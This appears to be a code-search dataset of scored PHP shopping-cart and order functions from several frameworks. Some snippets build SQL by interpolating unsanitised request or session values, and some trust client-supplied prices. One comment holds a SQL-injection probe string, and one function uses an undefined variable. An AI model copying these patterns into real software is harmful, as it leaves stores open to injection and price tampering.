{\n $this->_initModel();\n $order = Mage::registry('current_order');\n if (!$order) {\n Mage::throwException(Mage::helper('enterprise_rma')->__('Invalid order.'));\n }\n $this->loadLayout();\n $response = $this->getLayout()->getBlock('add_product_grid')->toHtml();\n } catch (Mage_Core_Exception $e) {\n $response = array(\n 'error' => true,\n 'message' => $e->getMessage(),\n );\n } catch (Exception $e) {\n $response = array(\n 'error' => true,\n 'message' => $this->__('Cannot get product list.')\n );\n }\n if (is_array($response)) {\n $response = Mage::helper('core')->jsonEncode($response);\n $this->getResponse()->setBody($response);\n } else {\n $this->getResponse()->setBody($response);\n }\n }", "title": "" }, { "docid": "d13c8f559a98ae7f3870a99243e21975", "score": "0.5660794", "text": "function custom_products_to_payment() {\n $uid = isset($_GET['uid']) ? $_GET['uid'] : '';\n $fullname = isset($_GET['fullname']) ? $_GET['fullname'] : '';\n $mobile = isset($_GET['mobile']) ? $_GET['mobile'] : '';\n $email = isset($_GET['email']) ? $_GET['email'] : '';\n $city = isset($_GET['city']) ? $_GET['city'] : '';\n $address = isset($_GET['address']) ? $_GET['address'] : '';\n $message = isset($_GET['message']) ? $_GET['message'] : '';\n $payment_method = isset($_GET['payment_method']) ? $_GET['payment_method'] : '';\n $products = isset($_GET['products']) ? preg_split('/\\,/', $_GET['products']) : array();\n $qtys = isset($_GET['qtys']) ? preg_split('/\\,/', $_GET['qtys']) : array();\n $order_total = isset($_GET['order_total']) ? $_GET['order_total'] : '';\n $coupon = isset($_GET['coupon']) ? $_GET['coupon'] : '';\n \n // Add products to shopping cart.\n if (session_status() == PHP_SESSION_NONE) {\n session_start();\n }\n uc_cart_empty();\n \n for ($i = 0; $i < count($products); $i++) {\n uc_cart_add_item($products[$i], $qtys[$i]);\n }\n \n // Apply coupon if any.\n if ($coupon != '') {\n uc_coupon_session_add($coupon, 'submit');\n }\n \n // Add customer info for later use.\n $_SESSION['app_customer_details'] = array(\n 'fullname' => $fullname,\n 'mobile' => $mobile,\n 'email' => $email,\n 'city' => $city,\n 'address' => $address,\n 'message' => $message,\n 'payment_method' => $payment_method,\n 'products' => $products,\n 'qtys' => $qtys,\n 'order_total' => $order_total,\n 'coupon' => $coupon,\n );\n \n // Clear all Ubercart messages.\n drupal_get_messages();\n \n // Go to payment page.\n drupal_goto('cart/checkout');\n exit;\n //return 'Test';\n}", "title": "" }, { "docid": "cc0d39293d6392f39e8be61991edc2a9", "score": "0.56549776", "text": "public function add($id, Request $request){\n\n //dd(Cart::content());\n\n foreach (Cart::content() as $item) {\n if($item->id == $id){\n \n $product = Product::find($item->id);\n\n //Se o stock do produto for inferior à quantidade no carrinho mais a quantidade pedida\n if($product->stock < $item->qty + request()->qty){\n session()->flash(\"qty\", \"A quantidade no carrinho é maior do que o stock existente\");\n return redirect(\"products/$id\");\n }\n\n else{\n\n $cartItem = Cart::add([\n 'id' => $product->id,\n 'name' => $product->nome,\n 'qty' => $request->qty,\n 'price' => $product->preço\n ]);\n \n Cart::associate($cartItem->rowId, 'App\\Product');\n return redirect('cart');\n\n }\n\n }\n\n }\n\n $product = Product::find($id);\n\n //Adiciona um novo item ao carrinho ou atualiza a quantidade de um item já existente\n $cartItem = Cart::add([\n 'id' => $product->id,\n 'name' => $product->nome,\n 'qty' => $request->qty,\n 'price' => $product->preço\n ]);\n\n //Associa o item do carrinho com um determinado rowId com o modelo do Produto\n Cart::associate($cartItem->rowId, 'App\\Product');\n\n //Array de itens no carrinho\n //dd(Cart::content());\n\n //Conteúdo de um item do carrinho\n //dd($cartItem);\n\n return redirect('cart');\n\n }", "title": "" }, { "docid": "86e4690146d81fcfc8c60b5aa13a4b44", "score": "0.5646167", "text": "private function update_cart_item_quantity()\r\n {\r\n Reply::init(); // For sending ajax reply (json)\r\n \r\n // Validation for ID and Quantity integer values...\r\n // Make sure its a positive integer.\r\n // eg \"-22a\" becomes \"22\"\r\n // eg \"1.9\" becomes \"1\"\r\n // eg \"1234500\" becomes \"34500\"\r\n \r\n // product id\r\n $cartItemId = $this->input->post('productID'); // The product ID, eg \"qty_input_1\"\r\n \r\n // $cartItemId = \"';\"; // simulate a possible attack.\r\n $cartItemId = $this->stripProductIdFromFieldName($cartItemId); // eg \"1\"\r\n $cartItemId = $this->sanitizeInteger($cartItemId, $this->MAX_QTY_STRING_LENGTH);\r\n\r\n Reply::setJsonArg(\"productID\", $cartItemId); // Don't do this. Reflection is bad. Just send \"ok\" / \"failed\"\r\n \r\n // new quantity\r\n $newQty = $this->input->post('qty'); // get the sanitized string.\r\n $newQty = $this->sanitizeInteger($newQty, $this->MAX_QTY_STRING_LENGTH);\r\n \r\n Reply::setJsonArg(\"newQty\", $newQty); // Don't do this. Reflection is bad. Just send \"ok\" / \"failed\"\r\n\r\n // Here we assume CI has properly sanitized $cartItemId and $newQty\r\n $product = false;\r\n $cartEmpty = \"false\";\r\n $newGrandTot = 0;\r\n $newSubTot = 0;\r\n $product = $this->products_model->get_productById($cartItemId);\r\n $updatedCartSummaryHTML = \"Summary goes here\";\r\n \r\n if ($product === false) {\r\n $cartDebugString = \"Something went horribly wrong.\";\r\n }\r\n else\r\n {\r\n // Reply::writeLine_debug(\"<p>\" . join(\"<br />\", $product) . \"</p>\");\r\n $session_cart = $this->getCartFromSessionCookie(); // Get or create the cart.\r\n $key = 'id_' . $cartItemId;\r\n\r\n if (isset($session_cart[$key]) && is_array($session_cart[$key])) {\r\n $cartItem = $session_cart[$key]; // get existing cart item.\r\n }\r\n else\r\n {\r\n $cartItem = array(); // create new cart item.\r\n }\r\n\r\n // $cartItem['ProductID']; // => 333\r\n // $cartItem['ProductName']; // => \"Apple\"\r\n // $cartItem['qty']; // => 3\r\n // $cartItem['unitPrice']; // => 30\r\n\r\n $cartItem['ProductID'] = $cartItemId;\r\n $cartItem['ProductName'] = $product['ProductName'];\r\n $cartItem['qty'] = $newQty;\r\n $cartItem['unitPrice'] = $product['UnitPrice'];\r\n $cartItem['imgURL'] = $product['imgURL'];\r\n \r\n $session_cart[$cartItemId] = $cartItem; // Update the cart.\r\n $this->saveCartToSessionCookie($session_cart); // Save cart to session cookie.\r\n $cartDebugString = $this->getCartAsDebugString($session_cart);\r\n $newGrandTot = $this->calculateGrandTotal($session_cart);\r\n $newSubTot = $this->calculateSubTotalForProduct($session_cart, $cartItemId);\r\n $lines = count($session_cart);\r\n\r\n if ($lines == 0) {\r\n $cartEmpty = \"true\";\r\n }\r\n \r\n $items = $this->countAllItemsInCart($session_cart);\r\n $updatedCartSummaryHTML = \"<h3>Your Cart</h3>($lines Product Lines, $items items in total)\";\r\n }\r\n \r\n Reply::writeLine_debug(\"<p>\" . $cartDebugString . \"</p>\");\r\n Reply::setJsonArg(\"newGrandTotal\", $newGrandTot);\r\n Reply::setJsonArg(\"newSubTotal\", $newSubTot);\r\n Reply::setJsonArg(\"subTot_id_toChange\", \"#subTot_prod$cartItemId\");\r\n Reply::setJsonArg(\"updatedCartSummary\", $updatedCartSummaryHTML);\r\n Reply::setJsonArg(\"cartIsEmpty\", $cartEmpty);\r\n\r\n echo Reply::value();\r\n }", "title": "" }, { "docid": "f0f07e160c02b90f725bf6a48e4fa5b8", "score": "0.564086", "text": "public static function add_to_cart_message() {\n\n\t\tif ( ! ( isset( $_REQUEST['product_id'] ) && ( int ) $_REQUEST['product_id'] > 0 ) )\n\t\t\treturn;\n\n\t\t$titles \t= array();\n\t\t$product_id = (int) $_REQUEST['product_id'];\n\n\t\tif ( is_array( $product_id ) ) {\n\t\t\tforeach ( $product_id as $id ) {\n\t\t\t\t$titles[] = get_the_title( $id );\n\t\t\t}\n\t\t} else {\n\t\t\t$titles[] = get_the_title( $product_id );\n\t\t}\n\n\t\tif ( $url = apply_filters( 'woocommerce_add_to_cart_redirect', false ) ) {\n\t\t\t$url_redirect_cart = $url;\n\t\t} else {\n\t\t\t$url_redirect_cart = wc_get_cart_url();\n\t\t}\n\n\t\tif ( isset( $_REQUEST['url_only'] ) && $_REQUEST['url_only'] == 'true' ) {\n\t\t\techo $url_redirect_cart;\n\n\t\t\texit;\n\t\t}\n\n\t\t$titles = array_filter( $titles );\n\t\t$added_text = sprintf( _n( '<div><b>%s</b> has been added to your cart.</div>', '%s have been added to your cart.', sizeof( $titles ), 'wr-nitro' ), '\"' . wc_format_list_of_items( $titles ) . '\"' );\n\t\t$message = sprintf( '%s <a href=\"%s\" class=\"wc-forward db\">%s</a>', wp_kses_post( $added_text ), $url_redirect_cart, esc_html__( 'View Cart', 'wr-nitro' ) );\n\t\t$data = array( 'message' => apply_filters( 'wc_add_to_cart_message', $message, $product_id ) );\n\n\t\twp_send_json( $data );\n\n\t\texit;\n\t}", "title": "" }, { "docid": "e22b8b51da7ebe632e17eab6d5e801ec", "score": "0.56379277", "text": "function cart()\n{\n\tglobal $con;\n\n\tif (isset($_GET['add_cart'])) {\n\n\n\t\tif (isset($_SESSION['customer_id'])) {\n\n\n\t\t\t$customer_id = $_SESSION['customer_id'];\n\n\t\t\t$pro_id = $_GET['add_cart'];\n\n\n\t\t\t//getting cart_id\n\n\t\t\t$sel_active_pro = \"select * from cart where customer_id = '$customer_id' AND status = 'active'\";\n\n\t\t\t$run_cart = mysqli_query($con, $sel_active_pro);\n\t\t\t$row = mysqli_fetch_array($run_cart);\n\t\t\t$cart_id = $row['id'];\n\n\t\t\t$sel_pro_item = \"select * from product_item where cart_id='$cart_id' AND product_id = '$pro_id'\";\n\t\t\t$run_pro_item = mysqli_query($con, $sel_pro_item);\n\t\t\t$check_cart = mysqli_num_rows($run_pro_item);\n\n\n\t\t\tif ($check_cart == 1) {\n\t\t\t\techo \"<script>alert('This Product has already been selected and added in your cart');</script>\";\n\t\t\t\techo \"<script>window.open('all_products.php?all_products','_self');</script>\";\n\n\t\t\t} else {\n\n\n\t\t\t\t$insert_product_item = \"insert into product_item (product_id,quantity,cart_id) values ('$pro_id','1','$cart_id') \";\n\n\t\t\t\t$run_insert_product_item = mysqli_query($con, $insert_product_item);\n\n\n\t\t\t\tif ($run_insert_product_item) {\n\t\t\t\t\techo \"<script>alert('Product added to cart successfully')</script>\";\n\t\t\t\t\techo \"<script>window.open('all_products.php?all_products','_self');</script>\";\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "68606969ebcc0847504f5c0a4d87c598", "score": "0.56364053", "text": "public function product_add_to_cart(Request $request){\n\n\n$my_id=$request->id;\n$my_product = Product::where(['id'=>$my_id])->first();\n$data = array();\n\n$data['id']=$request->id;\n$data['name']=$request->name;\n$data['qty']=$request->qty;\n$data['price']=$request->price;\n\n\n\n\n//return $data;\n\n\n$add = Cart::add($data);\n\n\nreturn redirect('/pos');\n\n\n\n\n\n }", "title": "" }, { "docid": "7675be201ce3a61a3c9e72ac1dd93445", "score": "0.56343395", "text": "function addItem() {\n $productid = $this->input->post('productid');\n $quantity = $this->input->post('quantity');\n $envase = $this->input->post('envase');\n $return = true;\n\n $producto = $this->producto_m->get(['prodid'=>$productid], TRUE);\n\n if (!$producto->prodgranel == \"1\") {\n $quantity *= $producto->prodpresentacion;\n }\n\n $item = $this->cartitem_m->get(array(\n 'email' => $this->email,\n 'productid' => $productid,\n ), TRUE);\n\n if ($item) {\n $where = ['email' => $this->email, 'productid' => $productid];\n $data['quantity'] = $item->quantity + $quantity;\n $data['envase'] = $envase;\n } else {\n $where = NULL;\n $data['email'] = $this->email;\n $data['productid'] = $productid;\n $data['quantity'] = $quantity;\n $data['envase'] = $envase;\n }\n\n $this->cartitem_m->save($data, $where);\n echo json_encode($return);\n }", "title": "" }, { "docid": "67816c3d423a3c6a6c0e9fa001f8b982", "score": "0.56271887", "text": "public function store(Request $request)\n {\n $created_at = date('Y-m-d h:i:s');\n $updated_at = date('Y-m-d h:i:s');\n $payment_method = session()->get('pay_type');\n $address = session()->get('address_id');\n\n $currency = $request->post('currency') ?? 'SAR';\n $orderId = 0;\n\n $cart = new CartController();\n $get_products = $cart->myCartsForOrder(Auth::id());\n $total = session()->get(\"order_total\");\n $user = ProfileController::getUser(Auth::id());\n if ($get_products[\"cart_total\"] > 0) {\n // ready to create order\n DB::insert(\"insert into orders (`name`,`total`,`user_id`,`payment_method` ,\n `address`,`zone`,`city` ,`currency`,`created_at`,`updated_at`,`delivered`,`note`,`delivery_price`)\n VALUES ('$user->name' , '$total' , '\" . Auth::id() . \"','$payment_method' ,'$address','','','$currency','$created_at','$updated_at','0','\".session()->get('note').\"','\".session()->get('delivery_price').\"') \");\n $orderId = DB::getPdo()->lastInsertId();\n\n foreach ($get_products[\"products\"] as $product) {\n if($product[\"type\"]){\n DB::update(\"update custom_products set complete = 2 where id = '\".$product[\"product_id\"].\"'\");\n }\n DB::insert(\"insert into `orders_products` (`product_id`,`type`,`order_id` ,`quantity` , `total`)\n VALUES ('\" . $product[\"product_id\"] . \"' ,'\" . $product[\"type\"] . \"','$orderId' , '\" . $product[\"quantity\"] . \"' , '\" . $product[\"total\"] . \"')\");\n DB::delete(\"delete from carts where product_id = '\" . $product[\"product_id\"] . \"' and user_id = '\" . Auth::id() . \"'\");\n }\n\n $comment = \"طلب جديد من $user->name\";\n NotificationController::add_notification(Auth::id(),$orderId, $comment, 1, '/admin/show_aorder/'.$orderId.'?');\n $this->use_code(session()->get('code'),Auth::id() ,$orderId,session()->get('discount') );\n session()->forget('note');\n session()->forget('delivery_price');\n\n session()->forget('code');\n session()->forget('pay_type');\n session()->forget('order_total');\n session()->forget('discount');\n }\n\n return redirect('/checkout/' . $orderId);\n }", "title": "" }, { "docid": "78887e24ce263301e8094d6234fbc8a0", "score": "0.5626656", "text": "public function testAddProductsToCart()\n {\n $this->stockService->expects($this->exactly(2))->method('getStock')->will($this->returnValue(2));\n\n $this->cartService->addProduct($this->cart, $this->createProduct('B00BGA9WK2', 399.95), 1);\n $this->cartService->addProduct($this->cart, $this->createProduct('B00FNQUN7Q', 54.95), 2);\n\n $this->assertCart(2, 3, 509.85);\n }", "title": "" }, { "docid": "04bc8070bc1c1038b66f721b64087e72", "score": "0.56244403", "text": "public function checkoutCartProductAddAfter($observer){\n\t\t\n\t\t$this->getSession()->setCartUpdate('add');\n\t}", "title": "" }, { "docid": "c6380ba72fe7683796a1a6ae5e274d6c", "score": "0.56241703", "text": "private function addOrderItem() {\n Mage::log('Adding product to order', null, 'maxicycle.log');\n $product = $this->pickProduct();\n $order = $this->_quote_or_order;\n if ($product) {\n try {\n // Save product into order\n $rowTotal = 0.00;\n $order_item = Mage::getModel('sales/order_item')\n ->setStoreId($this->_store_id)\n ->setQuoteItemId(null)\n ->setQuoteParentItemId(null)\n ->setProductId($product->getId())\n ->setProductType($product->getTypeId())\n ->setQtyBackordered(null)\n ->setTotalQtyOrdered(1)\n ->setQtyOrdered(1)\n ->setName($product->getName())\n ->setSku($product->getSku())\n ->setPrice(0)\n ->setBasePrice(0)\n ->setOriginalPrice(0)\n ->setRowTotal($rowTotal)\n ->setBaseRowTotal($rowTotal)\n ->setOrder($order);\n $order_item->save(); \n Mage::log('Product successfully added to order', null, 'maxicycle.log');\n } catch (Exception $e) {\n Mage::log('Adding product to order failed: ' .$e->getMessage(), null, 'maxicycle.log');\n throw $e;\n }\n }\n }", "title": "" }, { "docid": "d6106cdf5db89f51717bb92248a8b6b0", "score": "0.5618573", "text": "public function store(Request $request)\n {\n $user_id = $request->user_id;\n $total = 0;\n\n $order = Order::create([\n 'user_id' => $user_id,\n ]);\n\n foreach (session('quantity') as $key => $value) {\n $id_product = $value->get('id');\n $quantity = $value->get('quantity');\n $price = Product::where('id','=',$id_product)->first()->price;\n $total += $price * $quantity;\n\n $order->products()->attach($id_product, [\n 'price' => $price,\n 'quantity' => $quantity,\n ]);\n\n }\n\n $order->total = $total;\n $order->save();\n\n session()->flash('status','La orden se creo con exito');\n\n return view('backend.orders.index')->with(['orders' => Order::all()]);\n\n }", "title": "" }, { "docid": "6b0e929c93f8958143d69293f192e448", "score": "0.5617773", "text": "private static function add_to_cart_handler_grouped( $product_id ) {\n\t\t$was_added_to_cart = false;\n\t\t$added_to_cart = array();\n\n\t\tif ( ! empty( $_REQUEST['quantity'] ) && is_array( $_REQUEST['quantity'] ) ) {\n\t\t\t$quantity_set = false;\n\n\t\t\tforeach ( $_REQUEST['quantity'] as $item => $quantity ) {\n\t\t\t\tif ( $quantity <= 0 ) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\t$quantity_set = true;\n\n\t\t\t\t// Add to cart validation\n\t\t\t\t$passed_validation \t= apply_filters( 'woocommerce_add_to_cart_validation', true, $item, $quantity );\n\n\t\t\t\tif ( $passed_validation && WC()->cart->add_to_cart( $item, $quantity ) !== false ) {\n\t\t\t\t\t$was_added_to_cart = true;\n\t\t\t\t\t$added_to_cart[] = $item;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif ( ! $was_added_to_cart && ! $quantity_set ) {\n\t\t\t\twc_add_notice( __( 'Please choose the quantity of items you wish to add to your cart&hellip;', 'wr-nitro' ), 'error' );\n\t\t\t} elseif ( $was_added_to_cart ) {\n\t\t\t\twc_add_to_cart_message( $added_to_cart );\n\t\t\t\treturn true;\n\t\t\t}\n\n\t\t} elseif ( $product_id ) {\n\t\t\t/* Link on product archives */\n\t\t\twc_add_notice( __( 'Please choose a product to add to your cart&hellip;', 'wr-nitro' ), 'error' );\n\t\t}\n\t\treturn false;\n\t}", "title": "" }, { "docid": "02985f901968508cfa808e68da0f2967", "score": "0.56157625", "text": "function fetchCart()\n{\n\tsession_start();\n\t$product_ids = array();\n\n\t//check if add to cart button has been submitted\n\tif(filter_input(INPUT_POST, \"add_to_cart\"))\n\t{\t\n\t\t//checks if the shopping cart has products in it\n\t\tif(isset($_SESSION[\"shopping_cart\"]))\n\t\t{\n\t\t\t//counts how many products are in the shopping cart\n\t\t\t$count = count($_SESSION[\"shopping_cart\"]);\n\t\t\t\n\t\t\t$product_ids = array_column($_SESSION[\"shopping_cart\"], \"id\");\n\t\t\t\n\t\t\tif(!in_array(filter_input(INPUT_GET, \"id\"), $product_ids))\n\t\t\t{\n\t\t\t\t$_SESSION[\"shopping_cart\"][$count] = array\n\t\t\t\t(\n\t\t\t\t\t\"id\" => filter_input(INPUT_GET, \"id\"),\n\t\t\t\t\t\"name\" => filter_input(INPUT_POST, \"name\"),\n\t\t\t\t\t\"price\" => filter_input(INPUT_POST, \"price\"),\n\t\t\t\t\t\"quantity\" => filter_input(INPUT_POST, \"quantity\")\n\t\t\t\t);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t//match array key to id of the product being added to the cart\n\t\t\t\tfor($i = 0; $i < count($product_ids); $i++)\n\t\t\t\t{\n\t\t\t\t\t//updates the quanity of the item in the cart\n\t\t\t\t\tif($product_ids[$i] == filter_input(INPUT_GET, \"id\"))\n\t\t\t\t\t{\n\t\t\t\t\t\t$_SESSION[\"shopping_cart\"][$i][\"quantity\"] += filter_input(INPUT_POST, \"quantity\");\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\t//if the shopping cart doesn't exist, then create first product with array key 0\n\t\t\t//create array using submitted form data, start from key 0 and fill it with values\n\t\t\t$_SESSION[\"shopping_cart\"][\"0\"] = array\n\t\t\t(\n\t\t\t\t\"id\" => filter_input(INPUT_GET, \"id\"),\n\t\t\t\t\"name\" => filter_input(INPUT_POST, \"name\"),\n\t\t\t\t\"price\" => filter_input(INPUT_POST, \"price\"),\n\t\t\t\t\"quantity\" => filter_input(INPUT_POST, \"quantity\")\n\t\t\t);\n\t\t}\n\t}\n\n\tif(filter_input(INPUT_GET, \"action\") == \"delete\")\n\t{\n\t\t//loop through all the products until you find the product being removed\n\t\tforeach($_SESSION[\"shopping_cart\"] as $key => $product)\n\t\t{\n\t\t\tif($product[\"id\"] == filter_input(INPUT_GET, \"id\"))\n\t\t\t{\n\t\t\t\t//removes the product from the shopping cart when it matches with the product id\n\t\t\t\tunset($_SESSION[\"shopping_cart\"][$key]);\n\t\t\t}\n\t\t}\n\t\t//reset the session array keys so they match with $product_ids numeric array\n\t\t$_SESSION[\"shopping_cart\"] = array_values($_SESSION[\"shopping_cart\"]);\n\t}\n\t\n\t//end of fetchCart();\n}", "title": "" }, { "docid": "94eff14757f800ece2d9331846a43c85", "score": "0.56141496", "text": "public final function addToCart(int $consumerId, array $productsQuantities): void {\n \n DB::transaction(function() use ($consumerId, $productsQuantities) {\n \n $this->consumerService->getConsumer($consumerId);\n \n $productsIds = array_unique(array_column($productsQuantities, 'product_id'));\n \n $this->productService->assertProductsExistence(...$productsIds);\n $this->productService->assertProductsQuantitiesAvailability($productsQuantities);\n $this->assertPositiveNonZeroQuantities(array_column($productsQuantities, 'quantity'));\n \n /**\n * @var integer[][] $cartsToBeAdded\n * @var integer[][] $cartsToBeUpdated\n */\n $cartsToBeAdded = $cartsToBeUpdated = [];\n\n /** @var Cart $cart */\n foreach ($carts = $this->getCarts($consumerId, $productsIds) as $cart) {\n $cartsToBeUpdated[] = [\n 'product_id' => $cart->product_id,\n 'cart_id' => $cart->id,\n 'quantity' =>array_reduce(\n array_column(array_filter(\n $productsQuantities, fn(array $productQuantity) => $cart->product_id == $productQuantity['product_id']\n ), 'quantity'),\n fn(int $sum, int $quantity) => $sum + $quantity,\n $cart->quantity\n )\n ];\n }\n\n /** @var integer $productId */\n foreach (array_diff($productsIds, $carts->pluck('product_id')->toArray()) as $productId) {\n $cartsToBeAdded[] = [\n 'product_id' => $productId,\n 'quantity' => array_reduce(\n array_column(array_filter(\n $productsQuantities, fn(array $productQuantity) => $productId == $productQuantity['product_id']\n ), 'quantity'),\n fn(int $sum, int $quantity) => $sum + $quantity,\n 0\n )\n ];\n }\n\n if (0 < count($cartsToBeAdded)) {\n $this->cartsRepository->createCarts($consumerId, $cartsToBeAdded);\n }\n if (0 < count($cartsToBeUpdated)) {\n $this->cartsRepository->updateCarts($cartsToBeUpdated);\n }\n $this->productService->deductProductsQuantities($productsQuantities);\n\n });\n }", "title": "" }, { "docid": "43973f9eba0600f04b7a0cbe27fd56df", "score": "0.56111646", "text": "public function addToCart(){\n if (Request::isMethod('post')){\n //get all params from request\n $params = Input::all();\n //Create rule for validate\n $this->rules[Input::get('pro_name')] = 'required|numeric|min:1';\n //create validator object\n $validator = Validator::make($params, $this->rules);\n if ($validator->fails()) {\n //Redirect previous page with validation errors and old input\n return Redirect::back()\n ->withInput()\n ->withErrors($validator);\n } else {\n $objProduct = Product::detailProduct(Input::get('pro_id'));\n if (empty($objProduct)){\n //Thrown 404 page\n App::abort(404);\n } else {\n //Check stock quantity\n $qty = $params[Input::get('pro_name')];\n if (Product::checkStock($qty, $objProduct->id)){\n //Add product to cart\n Cart::add($objProduct->id, $objProduct->name, $qty,\n $objProduct->sale_price);\n //Redirect to checkout page\n return Redirect::route('member.checkout');\n } else {\n //Thrown message warning\n $this->message->setType('danger');\n $this->message->setMess(\"The number of {$objProduct->name} is not enough to sell.\");\n return Redirect::back()\n ->withInput()\n ->with('message', $this->message->create());\n }\n }\n }\n }\n }", "title": "" }, { "docid": "89f8809d65252a57fbeb53e99d1f52c5", "score": "0.56095386", "text": "public function store(Request $request)\n {\n $customer = Customer::find($request->customer_id);\n \n $products = array_map(function ($id, $quantity){\n return [\n 'id' => $id,\n 'quantity' => $quantity\n ];\n }, $request->product_ids, $request->quantitys);\n \n $products = array_map(function ($product, $price){\n return [\n 'id' => $product['id'],\n 'quantity' => $product['quantity'],\n 'price' => $price\n ];\n }, $products, $request->prices);\n \n $resi = null;\n $status = 'pending';\n if ($request->payment_type != 'cod') {\n $status = 'open';\n $resi = rand(1,100000) .''.mt_rand(1,100000) .''.mt_rand(1,100000);\n }\n \n $order = Order::create([\n 'code' => 'INV/'. Carbon::now()->format('Ymd') .'/XIX/II/'. mt_rand(1,100000),\n 'resi_number' => $resi,\n 'customer_id' => $request->customer_id,\n 'address_id' => $request->address_id,\n 'seller_id' => $request->seller_id,\n 'status' => $status,\n 'type' => 'order',\n 'description' => $request->description ? $request->description : null,\n 'payment' => $request->payment_type\n ]);\n $sessionOrder = [\n 'id' => $order->id,\n 'status' => $order->status\n ];\n \n // session()->put('session-order', $sessionOrder);\n \n foreach($products as $product) {\n\n $dataProduct = Product::find($product['id']);\n $dataProduct->stock = ($dataProduct->stock - $product['quantity']);\n $dataProduct->sale_counts = ($dataProduct->sale_counts + $product['quantity']);\n $dataProduct->save();\n\n OrderDetail::create([\n 'order_id' => $order->id,\n 'product_id' => $product['id'],\n 'quantity' => $product['quantity'],\n 'price' => $product['price']\n ]);\n }\n\n $cart = session()->get('cart');\n\n if ($cart) {\n session()->forget('cart');\n }\n\n $customer->user->SendOrderCreatedEmail($customer->user, $order);\n\n $status = \"Silahkan melakukan pembayaran.\";\n\n return redirect()->route('people.order')->with('status', $status);\n }", "title": "" }, { "docid": "8642221374072d7c981a0a2f460926c5", "score": "0.5602895", "text": "function addToCart($args=NULL)\n {\n $this->args = $args;\n $this->cart = Session::get(\"cart\");\n \n // Init Cart If It's Not Ready\n if(!$this->cart){\n $this->cart = new stdClass;\n $this->cart->items = array();\n $this->cart->shipping_id = NULL;\n $this->cart->payment_id = NULL;\n }\n \n // Get Item Data\n $item_model = $this->getModel('ShopItemModel');\n $item_model->loadById($args[0]);\n \n // Copy Needed Proprerties\n $item = new stdClass();\n $item->item_id = $item_model->item_id;\n $item->item_code = $item_model->item_code;\n $item->item_categories = $item_model->item_categories;\n $item->item_status = $item_model->item_status;\n $item->item_stock = $item_model->item_stock;\n $item->item_price = $item_model->item_price;\n $item->item_title = $item_model->item_title;\n $item->item_weight = $item_model->item_weight;\n $item->item_colors = $item_model->item_colors;\n $item->item_short_desc = $item_model->item_short_desc;\n $item->item_long_desc = $item_model->item_long_desc;\n $item->item_meta_keywords = $item_model->item_meta_keywords;\n $item->item_meta_description = $item_model->item_meta_description;\n $item->fk_lang_id = $item_model->fk_lang_id;\n $item->item_images = $item_model->item_images;\n $item->quantity = 1;\n \n array_push($this->cart->items, $item);\n \n if(Session::set(\"cart\", $this->cart) != FALSE){\n header('location: ' . Config::$web_path . '/Shop/cart');\n }\n \n }", "title": "" }, { "docid": "02597d2ab90e2c8852345f1d3770e93d", "score": "0.55910814", "text": "public function load_cart() {\n\t\twp_enqueue_script( 'cart-refresh-script' );\n\t}", "title": "" }, { "docid": "eee939e2689cfc5d008066e36c3bf4d4", "score": "0.55854416", "text": "public function test_square_order_add_product(): void\n {\n $product2 = factory(Product::class)->create();\n\n $square = Square::setOrder($this->data->order, env('SQUARE_LOCATION'))->addProduct($this->data->product, 1)->addProduct($product2, 2)->save();\n\n $this->assertCount(2, $square->getOrder()->products, 'There is not enough products');\n }", "title": "" }, { "docid": "dc3980cfebb854211a69175c2764c52e", "score": "0.5583587", "text": "public function add_product() {\r\n\t\t$slug = $this->input->post('slug');\r\n\t\t$data = [\r\n\t\t\t'id' => $this->input->post('id'),\r\n\t\t\t'qty' => $this->input->post('qty'),\r\n\t\t\t'vendor_id' => $this->input->post('vendor_id'),\r\n\t\t\t'price' => $this->input->post('price'),\r\n\t\t\t'name' => $this->input->post('name'),\r\n\t\t\t'image' => $this->input->post('image'),\r\n\t\t\t'slug' => $this->input->post('slug')\r\n\t\t];\r\n\t\t$this->cart->insert($data);\r\n\t\tredirect($slug);\r\n\t}", "title": "" }, { "docid": "89f9378fd35971fd35df7ea4042bd79b", "score": "0.55812573", "text": "public function addProd() {\n\t\t\n\t\t$fields = [\n\t\t'productset_id'=>Input::get('productset_id'),\n\t\t'name'=>Productset::find(Input::get('productset_id'))->name,\n\t\t'left'=>Input::get('left'),\n\t\t'price'=>Input::get('price'),\n\t\t'monthly_orders'=>Input::get('monthly_orders'),\n\t\t'vendor_id'=>Auth::id(),\n\t\t];\n\n\t\t$p = new Product($fields);\n\t\t$p->save();\n\t\treturn \"added product\";\n\t}", "title": "" }, { "docid": "92b42a85cbd04ca2b504736ca3ca3a04", "score": "0.5575571", "text": "public function whmcs_add_product($params = array()) {\n\t\t$params['action'] = 'AddProduct';\n\t\t// return Whmcs_base::send_request($params);\n $load = new Whmcs_base();\n return $load->send_request($params);\n\t}", "title": "" }, { "docid": "71b5a01a840ad04471ab6d17eb6b88ec", "score": "0.55703735", "text": "protected function customJsonAction()\n {\n session_start();\n if (!isset($_SESSION['userId'])) {\n return $this->returnError('Sign in to start shopping');\n }\n \n $user = User::loadUserByColumn(\n $this->connection,\n 'id',\n $_SESSION['userId']\n );\n if (false === $user instanceof User) {\n return $this->returnError('User could not be found');\n } \n\n $postString = file_get_contents(\"php://input\");\n $postArray = json_decode($postString, true); //null if not valid json\n if (!isset($postArray)) {\n return $this->returnError('Invalid input');\n }\n \n $catalogProductId =\n isset($postArray['catalogProduct']['id'])\n ? $postArray['catalogProduct']['id']\n : '';\n \n $isIdValid = is_numeric($catalogProductId)\n && $catalogProductId > 0;\n $isQuantityValid = is_numeric($newQuantity)\n && $newQuantity >= 0;\n $areRelevantValuesValid = $isIdValid && $isQuantityValid;\n if (false === $areRelevantValuesValid) {\n return $this->returnError('Invalid product values');\n }\n \n $product = Product::showProductById($this->connection, $catalogProductId);\n if (false === $product instanceof Product) {\n return $this->returnError('Could not find product');\n }\n \n $manager = ShoppingManagerFactory::create($this->connection);\n $basket = $manager->loadOrCreateBasketByUser($user);\n $previousQuantity = $basket->getOrderProductById($catalogProductId)\n ->getQuantity();\n $quantityDifference = $newQuantity - $previousQuantity;\n if ($quantityDifference > 0) {\n $basket->addProducts($product, $quantityDifference);\n } else if ($quantityDifference < 0) {\n $basket->removeProducts($product, abs($quantityDifference));\n }\n \n $result = $manager->save($basket);\n \n if (false === $result) {\n return $this->returnError('Failed to update quantity');\n 